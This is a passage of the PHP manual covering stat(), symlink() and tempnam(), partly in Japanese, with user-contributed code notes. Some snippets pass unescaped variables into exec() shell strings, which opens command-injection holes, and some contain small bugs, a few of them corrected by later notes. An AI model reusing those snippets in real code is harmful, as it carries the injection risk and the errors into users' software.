  0060000=>'bblock',
  0040000=>'ddir',
  0020000=>'cchar',
  0010000=>'pfifo'
 );

 $p=$ss['mode'];
 $t=decoct($ss['mode'] & 0170000); // File Encoding Bit

 $str =(array_key_exists(octdec($t),$ts))?$ts[octdec($t)]{0}:'u';
 $str.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-');
 $str.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
 $str.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-');
 $str.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
 $str.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-');
 $str.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));

 $s=array(
 'perms'=>array(
  'umask'=>sprintf("%04o",@umask()),
  'human'=>$str,
  'octal1'=>sprintf("%o", ($ss['mode'] & 000777)),
  'octal2'=>sprintf("0%o", 0777 & $p),
  'decimal'=>sprintf("%04o", $p),
  'fileperms'=>@fileperms($file),
  'mode1'=>$p,
  'mode2'=>$ss['mode']),

 'owner'=>array(
  'fileowner'=>$ss['uid'],
  'filegroup'=>$ss['gid'],
  'owner'=>
  (function_exists('posix_getpwuid'))?
  @posix_getpwuid($ss['uid']):'',
  'group'=>
  (function_exists('posix_getgrgid'))?
  @posix_getgrgid($ss['gid']):''
  ),

 'file'=>array(
  'filename'=>$file,
  'realpath'=>(@realpath($file) != $file) ? @realpath($file) : '',
  'dirname'=>@dirname($file),
  'basename'=>@basename($file)
  ),

 'filetype'=>array(
  'type'=>substr($ts[octdec($t)],1),
  'type_octal'=>sprintf("%07o", octdec($t)),
  'is_file'=>@is_file($file),
  'is_dir'=>@is_dir($file),
  'is_link'=>@is_link($file),
  'is_readable'=> @is_readable($file),
  'is_writable'=> @is_writable($file)
  ),

 'device'=>array(
  'device'=>$ss['dev'], //Device
  'device_number'=>$ss['rdev'], //Device number, if device.
  'inode'=>$ss['ino'], //File serial number
  'link_count'=>$ss['nlink'], //link count
  'link_to'=>($s['type']=='link') ? @readlink($file) : ''
  ),

 'size'=>array(
  'size'=>$ss['size'], //Size of file, in bytes.
  'blocks'=>$ss['blocks'], //Number 512-byte blocks allocated
  'block_size'=> $ss['blksize'] //Optimal block size for I/O.
  ),

 'time'=>array(
  'mtime'=>$ss['mtime'], //Time of last modification
  'atime'=>$ss['atime'], //Time of last access.
  'ctime'=>$ss['ctime'], //Time of last status change
  'accessed'=>@date('Y M D H:i:s',$ss['atime']),
  'modified'=>@date('Y M D H:i:s',$ss['mtime']),
  'created'=>@date('Y M D H:i:s',$ss['ctime'])
  ),
 );

 clearstatcache();
 return $s;
}

?>

|=---------[ Example Output ]

Array(
[perms] => Array
  (
  [umask] => 0022
  [human] => -rw-r--r--
  [octal1] => 644
  [octal2] => 0644
  [decimal] => 100644
  [fileperms] => 33188
  [mode1] => 33188
  [mode2] => 33188
  )

[filetype] => Array
  (
  [type] => file
  [type_octal] => 0100000
  [is_file] => 1
  [is_dir] =>
  [is_link] =>
  [is_readable] => 1
  [is_writable] => 1
  )

[owner] => Array
  (
  [fileowner] => 035483
  [filegroup] => 23472
  [owner_name] => askapache
  [group_name] => grp22558
  )

[file] => Array
  (
  [filename] => /home/askapache/askapache-stat/htdocs/ok/g.php
  [realpath] =>
  [dirname] => /home/askapache/askapache-stat/htdocs/ok
  [basename] => g.php
  )

[device] => Array
  (
  [device] => 25
  [device_number] => 0
  [inode] => 92455020
  [link_count] => 1
  [link_to] =>
  )

[size] => Array
  (
  [size] => 2652
  [blocks] => 8
  [block_size] => 8192
  )

[time] => Array
  (
  [mtime] => 1227685253
  [atime] => 1227685138
  [ctime] => 1227685253
  [accessed] => 2008 Nov Tue 23:38:58
  [modified] => 2008 Nov Tue 23:40:53
  [created] => 2008 Nov Tue 23:40:53
  )
)
antonixyz at gmx dot net 21-Jul-2008 02:19
<?php
$stat = stat($filepath);
$mode = $stat[2];
?>
is identical to:
<?php $mode = fileperms($filepath); ?>

at least on my linux box.
mail4rico at gmail dot com 24-Apr-2008 11:19
In response to the note whose first line is:
Re note posted by "admin at smitelli dot com"

I believe you have the conversion backwards. You should add an hour to filemtime if the system is in DST and the file is not. Conversely, you should subtract an hour if the file time is DST and the current OS time is not.

Here's a simplified, corrected version:
<?php
    function getmodtime($file) { //returns the time a file was modified.
        $mtime = filemtime($file);
        //date('I') returns 1 if DST is on and 0 if off.
        $diff = date('I')-date('I', $mtime);
        //diff =  0 if file-time and os-time are both in the same DST setting
        //diff =  1 if os is DST and file is not
        //diff = -1 if file is DST and os is not
        return $mtime + $diff*3600;
    }
?>
Here's a test:
<?php
    //create two dummy files:
    $file0 = 'file1.txt';
    $file1 = 'file2.txt';
    file_put_contents($file0, '');
    file_put_contents($file1, '');

    $time0=strtotime('Jan 1 2008 10:00'); echo 'Date0 (ST): ' . date(DATE_COOKIE, $time0)."\n";
    $time1=strtotime('Aug 1 2008 10:00'); echo 'Date1 (DT): ' . date(DATE_COOKIE, $time1)."\n";
    touch($file0, $time0); //set file0 to Winter (Non-DST)
    touch($file1, $time1); //set file1 to Summer (DST)

    $ftime0 = filemtime($file0);
    $ftime1 = filemtime($file1);
    echo "\nUncorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //if your system adjusts for DST, then _one_ of the above should be 3600 or -3600, depending on the time of year

    $ftime0 = getmodtime($file0); //use filemtime correction
    $ftime1 = getmodtime($file1); //use filemtime correction
    echo "\nCorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //both of the corrected values output should be 0.
?>

Output:
------------------------------
(when run in summer)
------------------------------
Date0 (ST): Tuesday, 01-Jan-08 10:00:00 EST
Date1 (DT): Friday, 01-Aug-08 10:00:00 EDT

Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: 0
File 1: 0
------------------------------
(when run in winter--dates omitted)
------------------------------
Uncorrected:
File 0: 0
File 1: 3600

Corrected:
File 0: 0
File 1: 0

In response to Re note posted by "admin at smitelli dot com",  your version below gives the following output when substituted into my test:
------------------------------
(when run in summer--dates omitted)
------------------------------
Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: -7200
File 1: 0
------------------------------
You can see that the operation is the opposite of what it should be.
Hellhound 03-Mar-2008 02:16
To ignore index number or name specifics.. use:

list($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks)
         = lstat($directory_element);
JulieC 30-Jan-2007 07:21
The dir_size function provided by "marting.dc AT gmail.com" works great, except the $mas variable is not initialized.  Add:

   $mas = 0;

before the while() loop.
16-May-2006 10:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
    // Win DST is enabled, adjust standard time
    // files back to 'real' file UTC.
    if (date('I', $mtime) == 0) {
        $mtime -= 3600;
    }
} else {
    // Win DST is disabled, adjust daylight time
    // files forward to 'real' file UTC.
    if (date('I', $mtime) == 1) {
        $mtime += 3600;
    }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com 28-Jan-2006 05:08
If you want to know a directory size, this function will help you:

<?php
function dir_size($dir)
{
    $handle = opendir($dir);

    while ($file = readdir($handle)) {
        if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
            $mas += filesize($dir.'/'.$file);
            } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
            $mas += dir_size($dir.'/'.$file);
        }
    }
    return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com 02-Nov-2005 11:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
    if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle 21-Jul-2005 06:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
    incorrect!
    format could be S_IFDIR, but also
    S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mao at nospam dot com 07-Jun-2005 05:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
10-Nov-2004 07:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
    $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com 09-Oct-2004 04:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com 11-Aug-2003 05:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000           /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com 23-Jul-1999 08:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:   creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.   Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.


シンボリックリンクを作成する

  • ≪ stat
  • tempnam ≫
  • PHP Manual
  • ファイルシステム 関数
  • シンボリックリンクを作成する

symlink

(PHP 4, PHP 5, PHP 7, PHP 8)

symlink — シンボリックリンクを作成する

説明

symlink ( string $target , string $link ) : bool

symlink()は、指定されたリンク名 link で既存のファイル target へのシンボリックリンクを作成します。

パラメータ

target

リンクの対象。

link

リンクの名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

link が既に存在する場合には、この関数は失敗し、 E_WARNING が発生します。 Windows では target が存在しない場合にも、この関数は失敗し、 E_WARNING が発生します。

例

例1 シンボリックリンクの作成

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

参考

  • link() - ハードリンクを作成する
  • readlink() - シンボリックリンク先を返す
  • linkinfo() - リンクに関する情報を取得する
  • unlink() - ファイルを削除する

User Contributed Notes

alvaro at demogracia dot com 02-Apr-2018 11:37
To remove symlinks you need to use:

- rmdir() on Windows
- unlink() elsewhere

<?php
function removeSymlink($path) {
    if (PHP_SHLIB_SUFFIX==='dll') {
        return rmdir($path);
    }
    return unlink($path);
}
Wixiweb 08-Dec-2017 04:20
If you use the suhosin extension, you must allow symlink with :
> suhosin.executor.allow_symlink = On

Check your /var/log/syslog file for more information :
> suhosin: ALERT - symlink called during open_basedir
raat1979 at gmail dot com 11-Aug-2015 12:20
Be warned that at least with php 5.3 on windows 2008 R2 the symlink function is effected by the statcache.

I got error 183 indicating the link existed. While the symlink was actually moved to a different location by  another process and would certainly not exist anymore.
Calling clearstatcache with a filename does not work. Most probably as the filename is converted to a device path (e.g. "\Device\HarddiskVolume1\D-Drive\www\pp\#static\index.html") which is a requirement for the windows call.

easiest is to just call clearstatcache without a filename to resolve the issue.

if you really want to call clearstatcache with a filename you could use readlink on the already deleted symlink (that still lives in the statcache) to get the filename.
For example something like this:
<?php
if(@symlink('d:/www/pp/#static/index.html','d:/www/index.html')===false){
//link failed, perhaps a statcache issue? We try to get the target, if it is a statcache issue this should work just fine

if(($rl = @readlink($target))===false) return false; //not a cache issue as stat on a non-existing file failed, something else must be wrong...

//clear the stat cache for the actual target, strangely enough this works even-though this is the target and not the symlink to be created (*)
clearstatcache(true,$rl);

if(@symlink($source,$target) ===false) return false; //can't create the symlink
?>

*It looks for PHP on windows like the statcache is maintained on the target instead of the actual symlink (this would ease in getting the file properties and limit the size of the statcache)
flobee 26-Mar-2015 03:55
sym/hard linking i love to do it relative a lot but not that trivial when thinking wrong :-)
manpage says: the target is the _linkname_ and from that point to create relative links successful is to start from the directory where the link should be created e.g.:
/myfiles/now/here/
/myfiles/links/

chdir( realpath(dirname($target)));
You need to create/find out the relativ path to the source, otherwise the absolut path will be used in a link.

if you start to create the target path from the source eg:
"/myfiles/now/here/../../later/" and links should go to /myfiles/later/ you need to use realpath( dirname() ) set the new location using chdir() and start from here to link to the source which is ../now/here/
This you can find out e.g.: when having the absolut path of source and target:
$dirTo = realpath(dirname($to));
chdir($dirTo);
$linkName = basename($to);
$target = $dirTo . DIRECTORY_SEPARATOR . $linkName;
$srcFile = getRelativeDirectory($from, $to); //basicly a function which will find the from -> to, but in this case the from ist the target where you need to start.
below you can find some examples how to split the path in chunks to find a relativ path
lingtalfi 27-Aug-2014 09:09
If symlink seems not to work correctly, try to define the target argument as an absolute path.
Coding on MacOsX PHP5.5, I noticed that in some cases using an absolute path on the target argument was the only way I could have a proper symlink created.
zeomniscient 04-Jun-2014 01:21
Context:  php cli on windows OS.

Do not forget to start the console with "Run as Administrator" else symlink will return 'false' and raise the following error :
Warning: symlink(): Cannot create symlink, error code(1314)
Calin 01-Aug-2012 06:06
On IIS (Internet Information Services), you need to set permissions to allow the creation of symbolic links.

Go to Local Security Policy -> Local Policies -> User Rights Assignment and right click on Create symbolic links -> Properties -> Add User or Group and add the "IUSR" user, which should be the user associated with IIS.
A restart may be required.

If this doesn't work, go to IIS Manager -> Authentication -> select Anonymous Authentication -> Edit and enter your current logged in user, which should be an administrator.
Hit OK and now the symlink() function in php should work fine.
reddy1042001 at yahoo dot co dot in 27-Apr-2010 04:33
Symlinks on windows  are created by Symlink() which accept only absolute paths  but not relative paths .relative paths on windows are not supported for symlinks
Porjo 11-Nov-2009 07:36
Keep in mind when using a shared filesystem such as NFS, that you probably don't want to create a symbolic link with absolute paths e.g.

On Server1 you are running a PHP script that needs to create a symbolic link called widget2 which links to widget1 inside an NFS share mounted on your localhost at /mnt/nfs/widgets

On Server2 this same NFS share is mounted under /usr/local/widgets

If you used absolute paths on Server1, then Server2 would try to reference /mnt/nfs/widgets/widget1 which it won't be able to find...

You need to cd into the directory first, then create the link - that way the link will be relative. Unless you run the PHP script from the same directory where you'll be creating the symbolic links, then you can't use symlink(). Use exec() instead as follows:

<?php

exec("cd <nfs mount path>; ln -s <target> <link_name>");

?>
ewering at gmail dot com 14-Nov-2007 01:01
This function sometimes just fails to work for no appearent reason, returning FALSE and not creating a symlink. Doing the same with exec('ln -s source dest') works perfectly. I recommend using the latter.
12-Apr-2007 06:44
Um, duh... that's all I gotta say about by previous note. Please delete it. :)

Windows Vista has its own symlink program now (mklink). Hopefully future versions of PHP for Windows will have this function put it?

Anyway, this will work on Vista (assuming your PHP user has the proper permissions):
<?php
define('SYMLINK_FILE', 0);
define('SYMLINK_DIR', 1);
define('SYMLINK_JUNCTION', 2);
function symlink ($target, $link, $flag = SYMLINK_FILE) {
    switch ($flag) {
       case SYMLINK_DIR: $pswitch = '/d'; break;
       case SYMLINK_JUNCTION: $pswitch = '/j'; break;
       case SYMLINK_FILE:
       default: $pswitch = ''; break;
    }
    // Change / to \ because it will break otherwise.
    $target = str_replace('/', '\\', $target);
    $link = str_replace('/', '\\', $link);
    return exec('mklink ' . $pswitch . ' "' . $link . '" "' . $target . '"');
}
?>
Numien 23-Mar-2007 02:51
The one difference to using symlinks for controlled file access vs. readfile() is that the HTTP server will handle content-type of the symlink automatically.

If you always want it to be downloaded, this can be a negative point. However, if you want a file of non-predefined type to be viewable in the browser, this can be a real asset.

Of course, you can use fileinfo/mime-magic to do that, but those require a module which isn't always available on shared hosting.
04-Nov-2006 04:33
<?

/**
 * A function to emulate symbolic links on Windows.
 * Uses the junction utility available at:
 * http://www.sysinternals.com
 * Note that this will only work on NTFS volumes.
 *
 * The syntax of the junction utility is:
 * junction <junction directory> <junction target>
 *
 * Note that the parameter order of the Junction command
 * is the reverse of the symlink function!
 *
 * @param string $target
 * @param string $link
 */
function _symlink( $target, $link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction "' . $link . '" "' . $target . '"');
  } else {
    symlink($target,$link);
  }
}

function _unlink($link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction -d "' . $link . '"');
  } else {
    unlink($link);
  }
}
?>
anything at the domain williamfrantz.com 14-Feb-2006 05:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 07:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
    $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com 11-Sep-2005 08:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk 15-Mar-2005 08:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
olszewski_marek at yahoo dot com 04-Dec-2000 08:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

<?php
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
      if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
      }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
?>


一意なファイル名を生成する

  • ≪ symlink
  • tmpfile ≫
  • PHP Manual
  • ファイルシステム 関数
  • 一意なファイル名を生成する

tempnam

(PHP 4, PHP 5, PHP 7, PHP 8)

tempnam — 一意なファイル名を生成する

説明

tempnam ( string $directory , string $prefix ) : string|false

一意なテンポラリファイル名を、パーミッションを 0600 に設定し、 指定したディレクトリに作成します。 指定したディレクトリが存在しない場合やディレクトリに書き込めない場合は、tempnam() はシステムのテンポラリディレクトリにあるファイル名を生成し、 そのファイルへのフルパスを (名前を含めて) 返します。

パラメータ

directory

テンポラリファイルを作成したいディレクトリ。

prefix

作成されるテンポラリファイルのプレフィックス。

注意: プレフィックスの最初の63文字のみを使用します。 Windows では、プレフィックスの最初の 3 文字のみを使用します。

返り値

新しいテンポラリファイル名 (パスを含む) を返し、失敗した場合には false を返します。

例

例1 tempnam() の例

<?php
$tmpfname = tempnam("/tmp", "FOO");

$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// ここで何か行う

unlink($tmpfname);
?>

注意

注意: PHP が指定されたパラメータ directory にファイルを生成することができない場合、 システム標準のフォールバックが実行されます。 NTFS では、指定した directory に 65534 を超える数のファイルが存在する場合にも同じことが起こります。

参考

  • tmpfile() - テンポラリファイルを作成する
  • sys_get_temp_dir() - 一時ファイル用に使用されるディレクトリのパスを返す
  • unlink() - ファイルを削除する

User Contributed Notes

david at frankieandshadow dot com 22-May-2018 03:29
Debian 9 Stretch adds private temporary directories, so if you use this function when running as mod_php in Apache expecting that the file can be made available to a third party (e.g. in a shell command or a MariaDB load from temporary file command), it will no longer work: the file will not be visible to other processes, (though the same PHP will be able to read it back in).

Either you need to use the first parameter to put the temporary file somewhere specific (outside the HTML document tree) with permissions such that you can share it with the other party, or change the settings for private tmp, for example:

cp /lib/systemd/system/apache2.service /etc/systemd/system/
# edit /etc/systemd/system/ to change PrivateTmp=true to false
systemctl daemon-reload
service apache2 restart

Choosing a different location is better on a shared server - private tmp files were added for a reason.

This was something that puzzled me for ages when doing a recent OS upgrade.
stanislav dot eckert at vizson dot de 11-Jan-2017 01:55
Please note that this function might throw a notice in PHP 7.1.0 and above. This was a bugfix: https://bugs.php.net/bug.php?id=69489

You can place an address operator (@) to sillence the notice:

<?php

if ($tmp = @tempnam() !== false) {
  // ...
}

?>

Or you could try to set the "upload_tmp_dir" setting in your php.ini to the temporary folder path of your system. Not sure, if the last one prevents the notices.
wapmorgan 26-May-2014 05:54
Notice that tempnam will return NULL (not false) if the second parameter <prefix> isn't transferred:
<?php
var_dump(tempnam(sys_get_temp_dir())); // NULL
?>
also the warning will be generated:
Warning:  tempnam() expects exactly 2 parameters, 1 given in php shell code ...
divinity76+yaoiporn at gmail dot com 29-Sep-2013 02:00
if you don't want to take care of deleting the file yourself, and you don't need a custom prefix, you can use
$file_location=stream_get_meta_data(tmpfile())['uri'];
file will be created automatically, and deleted automatically on script close (thanks to tmpfile()) i found this useful for CURLOPT_COOKIEFILE (which wants a file location, not a handle)
Steve Clay 24-Sep-2013 02:59
You don't need tempdir(). Just use tempnam() and replace it with a directory of the same name:
<?php
$temp_dir = tempnam('/tmp', 'prefix');
unlink($temp_dir);
mkdir($temp_dir);
Anonymous 13-Feb-2012 07:44
tempnam will not create file in unauthorized area.
Meaning you need access permissions to the temp dir ($dir) in order to create a file there.
tomas at slax dot org 03-Jun-2010 02:31
Beware: functions are not atomic.  If many processes call the same function at the same time, you may end up with unwanted behavior.

If you need your own variant of tempnam, use something like this:

<?php
   function tempnam_sfx($path, $suffix)
   {
      do
      {
         $file = $path."/".mt_rand().$suffix;
         $fp = @fopen($file, 'x');
      }
      while(!$fp);

      fclose($fp);
      return $file;
   }

   // call it like this:
   $file = tempnam_sfx("/tmp", ".jpg");
?>

You may replace mt_rand() by some other random name generator, if needed.
anthon at piwik dot org 06-Apr-2010 04:20
The file created by tempnam() will have file permissions that reflect the current umask applied to the default (e.g., 0600 or -rw-------).  This is the case whether the umask is set before starting the web server process, or set by an earlier call to PHP's umask() function.

For example, if the current umask is 0022, the temporary file is created with permissions 0600 (read/write by owner).

Also, if the current umask is 0222, the temporary file is created with permissions 0400 (read-only by owner).  (This is problematic if your code then tries to open the temporary file for writing.)

It's important to remember that the umask revokes permissions.  In neither of the above examples are the group, other, or execute permissions set.

See:  umask(), chmod().
Artur Graniszewski 31-Mar-2010 10:57
tempnam() function does not support custom stream wrappers registered by stream_register_wrapper().

For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice.

<?php

// << ...custom stream wrapper goes somewhere here...>>

echo '<pre>';
error_reporting(E_ALL);
ini_set('display_errors', true);
clearstatcache();
stream_register_wrapper('test', 'MemoryStream');

mkdir('test://aaa');
mkdir('test://aaa/cc');
mkdir('test://aaa/dd');
echo 'PHP '.PHP_VERSION;
echo '<br />node exists: '.file_exists('test://aaa/cc');
echo '<br />node is writable: '.is_writable('test://aaa/cc');
echo '<br />node is dir: '.is_dir('test://aaa/cc');
echo '<br />tempnam in dir: '.tempnam('test://aaa/cc', 'tmp');
echo "<br /></pre>";

?>

ouputs:
--------------------
PHP 5.2.13
node exists: 1
node is writable: 1
node is dir: 1
tempnam in dir: C:\Windows\Temp\tmp1D03.tmp

If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions)
koyama 30-Aug-2009 05:39
Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory.

<?php
$tmpfname = tempnam('', 'FOO'); // not good
?>

If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like

Warning: tempnam() [function.tempnam]: open_basedir restriction in effect.
File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp)

What works is this:

<?php
$tmpfname = tempnam(sys_get_temp_dir(), 'FOO'); // good
?>
hm2k at php dot net 28-Jan-2009 09:15
<?php

function tempdir($dir=false,$prefix='php') {
    $tempfile=tempnam('','');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

/*example*/

echo tempdir();
// returns: /tmp/8e9MLi

?>
dmhouse at gmail dot com 03-Sep-2007 03:51
Guillaume Paramelle's comments below are worth underlining: tempnam() will not accept a relative path for its first directory. If you pass it one, it will (on Windows XP at least) create the temporary file in the system temp directory.

The easiest way to convert a relative path to an absolute path is to prepend getcwd():

<?php
$file = tempnam('files/temp', 'tmp'); // Wrong!
$file = tempnam(getcwd() . 'files/tmp', 'tmp') // Right.
?>
Jason Pell 12-Jan-2007 04:47
I want to guarantee that the file will be created in the specified directory or else the function should return FALSE, I have a simple function that works, but I am unsure if its a potential security issue.

function dir_tempnam($dir, $prefix)
{
    $real_dir_path = realpath($dir);
    if (substr($real_dir_path, -1) != '/')
        $real_dir_path .= '/';
